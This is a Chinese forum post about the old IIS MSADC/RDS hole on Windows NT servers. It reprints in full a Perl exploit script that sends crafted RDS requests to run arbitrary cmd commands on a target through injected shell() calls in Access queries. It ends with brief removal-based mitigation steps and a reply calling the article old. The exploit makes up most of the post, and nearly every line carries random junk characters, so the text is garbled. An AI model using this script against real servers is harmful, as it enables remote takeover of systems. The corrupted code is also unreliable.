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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 0]x gE  
9y BENvq  
涉及程序: '@Zau\xC  
Microsoft NT server RUJkfi=$  
vqq7IV)|  
描述: d$>TC(E=t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 <kQ 5sG  
rJ LlDKP-(  
详细: }GIwYh/  
如果你没有时间读详细内容的话,就删除: XcoV27  
c:\Program Files\Common Files\System\Msadc\msadcs.dll mv7><C  
有关的安全问题就没有了。 ~9&#7fU  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 R{s&6  
"62vwWrwO  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 (=v :@\r  
关于利用ODBC远程漏洞的描述,请参看: AlW0GK=N-p  
V SJGp`  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @ ;%+Ms  
Eei"baw/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 s}MD;V&0  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1Sk=;Bic  
l(-We.:(  
这里不再论述。 C- Aiv@@<=  
:]EAlaB4Q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 'j^A87\M_  
up[9L|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset uFseO9F.2  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \)\uAI-  
e):jQite   
X<\E 'v`~  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !PQ%h/ix  
>]6f!;Rt  
#!perl :n'$Txf  
# OE{{,HFa`G  
# MSADC/RDS 'usage' (aka exploit) script "N"$B~W*  
# Lu.D,oP  
# by rain.forest.puppy CqMm'6;$a}  
# <Fkm7ME]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (@t O1g  
# beta test and find errors! "/ N ?$  
R+'$V$g\X  
use Socket; use Getopt::Std; w! J|KM  
getopts("e:vd:h:XR", \%args); T&M*sydA  
?C( ' z7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; tUS)1*{_  
]V|rOtxb  
if (!defined $args{h} && !defined $args{R}) { m5!~PG:_  
print qq~ ^/nj2"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^*CvKCS  
-h <host> = host you want to scan (ip or domain) DuESLMhz  
-d <seconds> = delay between calls, default 1 second 3NI3b-7  
-X = dump Index Server path table, if available pkW }\r  
-v = verbose 3V)ef$Y0  
-e = external dictionary file for step 5 \Wdl1 =`  
iD*%' #u  
Or a -R will resume a command session l;*/F`>c  
PI KQ}aq=  
~; exit;}  ]/l"  
"Di27Rq  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; :O`7kZ]=n  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ~d0:>8zQR  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4*k>M+o/C4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~UrKyA  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} AYhWeI+  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } |u r/6{Oj1  
bW"bkA80  
if (!defined $args{R}){ $ret = &has_msadc; Wo&WO e  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =mVWfFL  
 8*nv+  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" w_c)iJ  
. "cmd /c "; y^PQgzm]  
$in=<STDIN>; chomp $in; ,g69?w  
$command="cmd /c " . $in ; r[doN{%  
=>? ;Iv'Z  
if (defined $args{R}) {&load; exit;} $w,?%i97  
1D *oXE9Ig  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; fL0dy[Ch@  
&try_btcustmr; $Hw w  
D-{;;<nIr`  
print "\nStep 2: Trying to make our own DSN..."; 'eyzH[l,(  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _?]0b7X  
%7w=;]ym  
print "\nStep 3: Trying known DSNs..."; 6Zr_W#SE  
&known_dsn; OQlmzg  
l ga%U~  
print "\nStep 4: Trying known .mdbs..."; 0ge"ISK  
&known_mdb; `,lm:x+(0  
YmrrZ&]q  
if (defined $args{e}){ KCBA`N8  
print "\nStep 5: Trying dictionary of DSN names..."; L/ L#[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } z7vc|Z|  
\9HpbCHr  
print "Sorry Charley...maybe next time?\n"; :G.u{cw  
exit; (p19"p  
oo+i3af&7  
############################################################################## X8}m %  
WqX$;' }h  
sub sendraw { # ripped and modded from whisker *~h@KQm7  
sleep($delay); # it's a DoS on the server! At least on mine... {gL8s  
my ($pstr)=@_; 7aF'E1e'3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || U yb-feG  
die("Socket problems\n"); pZE}<EX  
if(connect(S,pack "SnA4x8",2,80,$target)){ QN4{xf:}S  
select(S); $|=1; [b2KBww\  
print $pstr; my @in=<S>; .uh>S!X, ]  
select(STDOUT); close(S); ,6J{-Iu  
return @in; CP]nk0  
} else { die("Can't connect...\n"); }} -_*ux!  
7 KuUV!\h`  
############################################################################## 2X X-  
]\ ~s83?X  
sub make_header { # make the HTTP request (vR9vOpJ  
my $msadc=<<EOT r\PO?1  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ZVelKI8>  
User-Agent: ACTIVEDATA c)*,">$#  
Host: $ip ojc m%yd  
Content-Length: $clen g~7x+cu0  
Connection: Keep-Alive Arr(rM  
T!f+H?6  
ADCClientVersion:01.06 VyMFALSe]h  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 xK*G'3Ge  
D(;jv="/  
--!ADM!ROX!YOUR!WORLD! u=6LPwiI  
Content-Type: application/x-varg \m xi8Z w  
Content-Length: $reqlen ugu|?z*dI  
k)3b0T@b  
EOT x?"+Or.h  
; $msadc=~s/\n/\r\n/g; &@v&5EXOw  
return $msadc;} ut*sx9l  
g=gM}`X%  
############################################################################## ]|xfKDu  
AjYvYMA&  
sub make_req { # make the RDS request `{oFdvL~)  
my ($switch, $p1, $p2)=@_; 5cUz^ >  
my $req=""; my $t1, $t2, $query, $dsn; &Z3u(Eb  
=x xN3Ay  
if ($switch==1){ # this is the btcustmr.mdb query MdC}!&W  
$query="Select * from Customers where City=" . make_shell(); ;aj4V<@  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .OM^@V~T  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} op2<~v0?  
3(oB[9]s  
elsif ($switch==2){ # this is general make table query J16t&Ha`  
$query="create table AZZ (B int, C varchar(10))"; 5cF7w  
$dsn="$p1";} QmKEl|/{u  
5!s7`w]8*0  
elsif ($switch==3){ # this is general exploit table query Al MMN"j  
$query="select * from AZZ where C=" . make_shell(); rq#\x{l  
$dsn="$p1";} h@2YQgw`  
W" i3:r  
elsif ($switch==4){ # attempt to hork file info from index server ` t6|09e  
$query="select path from scope()"; eqY8;/  
$dsn="Provider=MSIDXS;";} 0Yk$f1g  
(ri eg F  
elsif ($switch==5){ # bad query ^KF%Z2:$  
$query="select"; @$7'{*  
$dsn="$p1";} tqFE>ojlI  
Op_(10|  
$t1= make_unicode($query); 3/{,}F$  
$t2= make_unicode($dsn); oypF0?!m  
$req = "\x02\x00\x03\x00";  NZu2D  
$req.= "\x08\x00" . pack ("S1", length($t1)); H3xMoSs  
$req.= "\x00\x00" . $t1 ; u2E}DhV  
$req.= "\x08\x00" . pack ("S1", length($t2)); vNDf1B5z  
$req.= "\x00\x00" . $t2 ; D_Zt:tzO  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; D[ v2#2  
return $req;} J1u&Ga  
B9: i.rQ  
############################################################################## 0woLB#v9  
uj~(r=%  
sub make_shell { # this makes the shell() statement K'c[r0Ew  
return "'|shell(\"$command\")|'";} V r7L9%/wg  
I_s*pT  
############################################################################## 4n0Iw  I  
m4on<5s/  
sub make_unicode { # quick little function to convert to unicode ="('  #o  
my ($in)=@_; my $out; GK`U<.[c  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 0 K(&EpVE  
return $out;} MP|$+yuR~  
p f`vH`r  
############################################################################## XS(Q)\"  
Rn$TYCO  
sub rdo_success { # checks for RDO return success (this is kludge) I]-"Tw  
my (@in) = @_; my $base=content_start(@in); Zs|m_O G  
if($in[$base]=~/multipart\/mixed/){ STL+tLJ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} B%I<6E[D  
return 0;} z7s}-w,  
veAdk9  
############################################################################## |/%X8\  
S[e> 8  
sub make_dsn { # this makes a DSN for us Ly-}HW(  
my @drives=("c","d","e","f"); AIG5a$}&  
print "\nMaking DSN: "; PVi0|  
foreach $drive (@drives) { qQwf#&  
print "$drive: "; Tl L,dPM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . FL[,?RU?2  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" $ vBFs]h  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); tx$`1KA  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ' j\~> a3\  
return 0 if $2 eq "404"; # not found/doesn't exist bo-lT-I  
if($2 eq "200") { ]64pb;w"$D  
foreach $line (@results) { =eQ'^3a  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ROJ=ZYof  
} return 0;} 7n[0)XR>  
@Yw>s9X  
############################################################################## x"P@[T  
qK)T#sh  
sub verify_exists { ^4C djMF-E  
my ($page)=@_; f2 ?01PM,Q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); &9EcgazV  
return $results[0];} 2-%9k)KH  
W+i&!'  
############################################################################## W.c>("gC  
48)D%867.;  
sub try_btcustmr { H}cq|hodn  
my @drives=("c","d","e","f"); 'd]t@[#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .wPI%5D  
bl-D{)X  
foreach $dir (@dirs) { k!V@Q!>,  
print "$dir -> "; # fun status so you can see progress K2gF;(  
foreach $drive (@drives) { Z4dl'v)9  
print "$drive: "; # ditto pwVaSnre`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; BUUc9&f3o  
$reqlenlen=length( "$reqlen" ); =@P]eK/  
$clen= 206 + $reqlenlen + $reqlen; lvH} 8 lJ  
'F^1)Ga$  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =C- b#4Q  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} E/2_@&U:}  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `Krk<G  
y=2nV  
############################################################################## AEd9H +I  
9z+ZFIf7d  
sub odbc_error { nP0rg  
my (@in)=@_; my $base; ;)Sf|  
my $base = content_start(@in); #s{EIj~YR_  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this K(AZD&D  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z3f}'vr  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; H`4KhdqR  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; riQ0'-p  
return $in[$base+4].$in[$base+5].$in[$base+6];} {$I1(DYN  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; L=gG23U&  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . qS?^(Vt|R  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ! u9LZ  
t4UL|fI  
############################################################################## V6&6I  
8M,$|\U  
sub verbose { L\q-Z..  
my ($in)=@_; y$9XHubu  
return if !$verbose; i7mo89S  
print STDOUT "\n$in\n";} QsBC[7<jd-  
p2hPLq  
############################################################################## ^@)*voP#G  
v}.~m)  
sub save { Lb~' I=9D  
my ($p1, $p2, $p3, $p4)=@_; /H$:Q|T}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; A&V'WahC@I  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; P}w0=  
close OUT;} |<JBoE]3B  
H#3Ma1z  
############################################################################## De\Ocxx  
@+sYwlA~  
sub load { B D [<>Wm  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; s8;*Wt  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); -YS9u [   
@p=<IN>; close(IN); :464~tHI[`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1]"S?  
$target= inet_aton($ip) || die("inet_aton problems"); Nk<H=kw+  
print "Resuming to $ip ..."; -PaR&0Tt  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;pqS|ayl  
if($p[1]==1) { h*?]A  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; fs2y$HN  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,WE2MAjhT  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1]&{6y  
if (rdo_success(@results)){print "Success!\n";} NCVhWD21|  
else { print "failed\n"; verbose(odbc_error(@results));}} C8y[B1Y  
elsif ($p[1]==3){ ~<"{u-q#K  
if(run_query("$p[3]")){ 7*r!-$  
print "Success!\n";} else { print "failed\n"; }} ,L; y>::1  
elsif ($p[1]==4){ nnTiu,2R  
if(run_query($drvst . "$p[3]")){ 7>3+]njw  
print "Success!\n"; } else { print "failed\n"; }} %<1_\N7  
exit;} 5}2148  
YoSBS   
############################################################################## u17 9!  
2tS,q_-=  
sub create_table { rxOv YF  
my ($in)=@_; HE-ErEtGB  
$reqlen=length( make_req(2,$in,"") ) - 28; Ah;`0Hz;  
$reqlenlen=length( "$reqlen" ); X.AE>fx*h  
$clen= 206 + $reqlenlen + $reqlen; x??H%'rP  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~BgNM O;|  
return 1 if rdo_success(@results); \^dYmU  
my $temp= odbc_error(@results); verbose($temp); K/$5SN1  
return 1 if $temp=~/Table 'AZZ' already exists/; {Hz;*1?$k  
return 0;} w$aejz`[  
lr=quWDY  
############################################################################## !Y*O0_  
Y8/&1s_  
sub known_dsn { u6 4{w,  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 2>)::9e4  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", P}vk5o'  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,Y@4d79  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); IO"q4(&;P4  
yY!@FGsA  
foreach $dSn (@dsns) { ZeH=]G4Zv7  
print "."; ^2nH6,LPS  
next if (!is_access("DSN=$dSn")); @Py?.H   
if(create_table("DSN=$dSn")){ w}U'>fj  
print "$dSn successful\n"; cRSgP{hy  
if(run_query("DSN=$dSn")){ a[J_H$6H!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <FwAV=}6p  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 4+Y9":<  
 dK]#..  
############################################################################## o[g]Va*8  
(R!`Z%  
sub is_access { ,#hNHFa'JH  
my ($in)=@_; X]s="^  
$reqlen=length( make_req(5,$in,"") ) - 28; -ug -rdXV  
$reqlenlen=length( "$reqlen" ); 1_> w|6;e  
$clen= 206 + $reqlenlen + $reqlen; 7|<-rjz^  
my @results=sendraw(make_header() . make_req(5,$in,"")); o),@I#fM  
my $temp= odbc_error(@results); kQ|phtbI  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); N`LY$U+N|  
return 0;} X\5EF7:S  
!(sL  
############################################################################## _8wT4|z5  
EE*FvI`  
sub run_query { X3l6b+p  
my ($in)=@_; ;pG5zRe  
$reqlen=length( make_req(3,$in,"") ) - 28; BX2}ar  
$reqlenlen=length( "$reqlen" ); FLQ^J3A,I  
$clen= 206 + $reqlenlen + $reqlen; _r`(P#Hy  
my @results=sendraw(make_header() . make_req(3,$in,"")); dZ Ab' :  
return 1 if rdo_success(@results); } A}Vd:#  
my $temp= odbc_error(@results); verbose($temp); iThf\  
return 0;} pz]KUQ  
F 7X ] h  
############################################################################## 9Yji34eDZ  
k"+/DK,:  
sub known_mdb { *enT2Q  
my @drives=("c","d","e","f","g"); 8< z   
my @dirs=("winnt","winnt35","winnt351","win","windows"); \j0016;  
my $dir, $drive, $mdb; nr%P11U\c  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; *a` _,Q{x  
FB O_B  
# this is sparse, because I don't know of many 21hTun"W  
my @sysmdbs=( "\\catroot\\icatalog.mdb", pZ 7KWk4  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", j^ttTq|l  
"\\system32\\certmdb.mdb", X`7O%HiX/`  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Hm_&``='  
=j8g6#'u  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", C+0BV~7J<<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", c  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", >t4<2|!(M  
"\\cfusion\\cfapps\\security\\realm_.mdb", q]v{o8:U  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2 '8I/>-  
"\\cfusion\\database\\cfexamples.mdb", Sv[+~co<l  
"\\cfusion\\database\\cfsnippets.mdb", Xliw(B'\a4  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 2K2_-  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", B";Dj~y  
"\\cfusion\\brighttiger\\database\\cleam.mdb", qcfg 55]'c  
"\\cfusion\\database\\smpolicy.mdb", jNAboSf2Y  
"\\cfusion\\database\cypress.mdb", c/,B?  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", u4Z Accj  
"\\website\\cgi-win\\dbsample.mdb", !lI1jb"  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", U)SQ3*j2D  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" :D:J_{HJ  
); #these are just ;RW5XnVx  
foreach $drive (@drives) { \ZC0bHsA  
foreach $dir (@dirs){ hho\e 8  
foreach $mdb (@sysmdbs) { /re0"!0y  
print "."; Jg@eGs\*  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ORt)sn&~d  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; U-#vssJhk  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 8CRwHDB  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; F ZfhiIf  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `12Y2W 9  
D`PA@t  
foreach $drive (@drives) { LP} j0)n  
foreach $mdb (@mdbs) { VB~Do?]*k%  
print "."; 3MoVIf1  
if(create_table($drv . $drive . $dir . $mdb)){ yXro6u?rC  
print "\n" . $drive . $dir . $mdb . " successful\n"; r?WOum  
if(run_query($drv . $drive . $dir . $mdb)){ 8VMD304  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; "O%xQ N  
} else { print "Something's borked. Use verbose next time\n"; }}}} p:Zhg{sF  
} 5,du2  
vH{JLN2  
############################################################################## 3_Mynop  
La si)e=$<  
sub hork_idx { J_&G\b.9/  
print "\nAttempting to dump Index Server tables...\n"; {Yv5Z.L&(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; cN| gaL  
$reqlen=length( make_req(4,"","") ) - 28; uD4$<rSHb  
$reqlenlen=length( "$reqlen" ); l6-%)6u>  
$clen= 206 + $reqlenlen + $reqlen; j8?rMD~  
my @results=sendraw2(make_header() . make_req(4,"","")); Ki%RSW(_`  
if (rdo_success(@results)){ %kiPE<<x  
my $max=@results; my $c; my %d; 6{2 9cX.  
for($c=19; $c<$max; $c++){ \C`2z]V%  
$results[$c]=~s/\x00//g; zl$z>z)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; `YK#m4gc  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 0|~3\e/QV  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Oyy E0  
$d{"$1$2"}="";} ?I 7hbqQd  
foreach $c (keys %d){ print "$c\n"; } C oO0~q  
} else {print "Index server doesn't seem to be installed.\n"; }} Ml+O - 3T  
Ce_l\J8G  
############################################################################## 3$ BYfI3H  
j8ag}%  
sub dsn_dict { zG~nRt{4  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &MGM9 zm-]  
while(<IN>){ g;!,2,De}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; L_fiE3G|>  
next if (!is_access("DSN=$dSn")); X1GM\*BE  
if(create_table("DSN=$dSn")){ v;IuB  
print "$dSn successful\n"; Ai5D[ykX  
if(run_query("DSN=$dSn")){ Z|zT%8.8N  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { J\\o# -H  
print "Something's borked. Use verbose next time\n";}}} T$4Utd5[z'  
print "\n"; close(IN);} Bk~%  
jNP%BNd1f  
############################################################################## tnC,1HV0[  
{_X&{dZLX  
sub sendraw2 { # ripped and modded from whisker D<xDj#Z~1  
sleep($delay); # it's a DoS on the server! At least on mine... G":u::hR  
my ($pstr)=@_; `MXGEJF  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <_-8)abK  
die("Socket problems\n"); IHj9n>c)[  
if(connect(S,pack "SnA4x8",2,80,$target)){ r~T3Ieb  
print "Connected. Getting data"; 41\V;yib  
open(OUT,">raw.out"); my @in; 1lf]}V  
select(S); $|=1; print $pstr; {_]<mwd  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} YMn_9s7<  
close(OUT); select(STDOUT); close(S); return @in; xMo'SpVz:  
} else { die("Can't connect...\n"); }} 8\CmM\R  
#l_hiD`;r  
############################################################################## /` 4B-Y4M4  
k_7agW  
sub content_start { # this will take in the server headers cy#N(S[ 1  
my (@in)=@_; my $c; ]o*-|[^?  
for ($c=1;$c<500;$c++) { D,, x<JG|  
if($in[$c] =~/^\x0d\x0a/){ -P=Hp/ELi  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 9E]7Etfw  
else { return $c+1; }}} NU!B|l  
return -1;} # it should never get here actually O:W4W=K  
??=7pFm  
############################################################################## oOHr~<  
IsP!ZcV;  
sub funky { ph=U<D4  
my (@in)=@_; my $error=odbc_error(@in); bd3q207>  
if($error=~/ADO could not find the specified provider/){ S&;D  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; C07U.nzh  
exit;} ftbOvG/ I  
if($error=~/A Handler is required/){ zNJ-JIo%  
print "\nServer has custom handler filters (they most likely are patched)\n"; rqYx\i?  
exit;} !!UQ,yU  
if($error=~/specified Handler has denied Access/){ w"BMJ+  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3(>NS?lX  
exit;}} 'A9U[|  
y7Y g$)sL  
############################################################################## %B-m- =gz  
 7VAet  
sub has_msadc { Zcxj.F(,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); KZ/ 2#`  
my $base=content_start(@results); /&G )IY]g  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Fx'E"d  
return 0;} XGMO~8 3  
'Mm=<Bh  
######################## o|7 h  
#"aL M6Cfs  
}A'Ro/n  
解决方案: BH`GUIk  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll V2_I=]p_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 vP{;'R  
<Z8^.t)|  
拿出来充数 哈哈
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